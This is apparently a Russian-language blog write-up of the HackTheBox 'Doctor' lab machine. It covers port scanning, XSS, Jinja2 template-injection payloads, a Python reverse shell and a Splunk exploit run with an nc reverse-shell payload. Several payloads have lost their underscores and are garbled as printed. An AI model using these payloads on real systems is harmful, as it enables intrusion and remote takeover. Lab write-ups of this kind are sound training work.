![](https://habrastorage.org/getpro/habr/upload_files/a56/6ce/556/a566ce5563cecb160b45930b55ed0135.png)
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей;
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).
Recon
Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.
10.10.10.209 doctor.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
![](https://habrastorage.org/getpro/habr/upload_files/c0c/16a/fab/c0c16afab2472bf5d5a3e06abe262ed3.png)
![](https://habrastorage.org/getpro/habr/upload_files/6f6/8e0/5e8/6f68e05e8a66e2966307ecd0ff1f386a.png)
И заходя на сайт обнаружим еще одно доменное имя.
![](https://habrastorage.org/getpro/habr/upload_files/e05/9e5/7cc/e059e57ccc0d2e0345c55a5f06b92cfd.png)
Добавим его в /etc/hosts.
10.10.10.209 doctors.htb
И на найденном сайте нас уже встречает форма авторизации, это уже интереснее.
![](https://habrastorage.org/getpro/habr/upload_files/ab9/f56/11a/ab9f5611a05580a53f3d473b34b325ff.png)
Entry Point
Давайте зарегистрируемся.
![](https://habrastorage.org/getpro/habr/upload_files/f87/bf0/5cf/f87bf05cf009ca49b596da290394f792.png)
Просматривая сайт, находим интересную ссылку.
![](https://habrastorage.org/getpro/habr/upload_files/0be/06a/c92/0be06ac922edaceb053b56ac9446ae19.png)
Но там ничего интересного нет.
![](https://habrastorage.org/getpro/habr/upload_files/e46/a2e/79d/e46a2e79d577e3bf70ddb1f621fd0c65.png)
Посидев с формой отправки сообщений, отмечаем, что главная страница не уязвима к XSS.
![](https://habrastorage.org/getpro/habr/upload_files/6ac/744/157/6ac7441573cb28404695a55a946ddb54.png)
А еще понимаем, что попадает в архив.
![](https://habrastorage.org/getpro/habr/upload_files/7f6/edf/c51/7f6edfc51d6a08221d1f4bfe6d69ccbe.png)
Вот только символы не экранированы, а код не выполнился из за наличия <item><title>. Давайте отправим нагрузку, в которой данные теги будут закрываться.
![](https://habrastorage.org/getpro/habr/upload_files/4f8/c66/fc7/4f8c66fc7cef9d885e6d1a701546b62a.png)
И когда мы перейдем в архив, нас встретит ожидаемое окошко алерта.
![](https://habrastorage.org/getpro/habr/upload_files/95b/981/46a/95b98146a209d92fd0f69c199b46879e.png)
![](https://habrastorage.org/getpro/habr/upload_files/3b5/d03/9d2/3b5d039d2e9b4fcb0a7c863e0923cd25.png)
Так как есть XSS, давайте проверим шаблонизатор, возможно удастся добиться SSTI. Есть интересная схема определения шаблонизатора.
![](https://habrastorage.org/getpro/habr/upload_files/9a7/705/44a/9a770544a0cc2d9ccb460ea25666b6e8.png)
Проверяем:
</title></item>{{77}}
![](https://habrastorage.org/getpro/habr/upload_files/3f3/651/89b/3f365189b4ba210938bed4c886bf5342.png)
</title></item>{{7'7'}}
![](https://habrastorage.org/getpro/habr/upload_files/5ba/d17/ea7/5bad17ea78349cb8fd88305c2d528e24.png)
</title></item>{{config.items()}}
![](https://habrastorage.org/getpro/habr/upload_files/c8a/3fb/846/c8a3fb8462bb2a0af9f31ec6d8879030.png)
И находим уязвимость. Наличие SSTI позволяет нам выполнить свой код, для чего мы будем использовать следующий шаблон:
{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x().module.builtins'import'.popen("").read().zfill(417)}}
{%endif%}{% endfor %}
Давайте выполним следующий реверс шелл:
import socket,subprocess,os;
s=socket.socket(socket.AFINET,socket.SOCKSTREAM);
s.connect(("10.10.14.27",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash", "-i"]);
Запустим листенер. Полная нагрузка будет такой:
</title></item>{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
![](https://habrastorage.org/getpro/habr/upload_files/2f1/2db/715/2f12db71555bbeae0bd7aa36a373b173.png)
USER
Так мы состоим в группе adm, что дает нам право читать логи. Поищем в логах Apache слова pas, secret и т.п.
![](https://habrastorage.org/getpro/habr/upload_files/f06/ff4/c45/f06ff4c458e34379b78acb8568dd2139.png)
И мы находим интересную строку, которая является паролем пользователя.
![](https://habrastorage.org/getpro/habr/upload_files/4c8/a4c/9d5/4c8a4c9d5f8235b71a722708bdcf0d00.png)
Теперь, когда у нас есть учетные данные, давайте попробуем повысить привилегии, с помощью эксплуатации службы Splunk, работающей на 8089 порте. Будем использовать этот эксплоит (https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).
python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'
![](https://habrastorage.org/getpro/habr/upload_files/602/15b/79e/60215b79eae69782e69636fc68beb570.png)
И получаем бэкконнект на свой листенер.
![](https://habrastorage.org/getpro/habr/upload_files/627/beb/533/627beb533f5716eeecb40d55629695dc.png)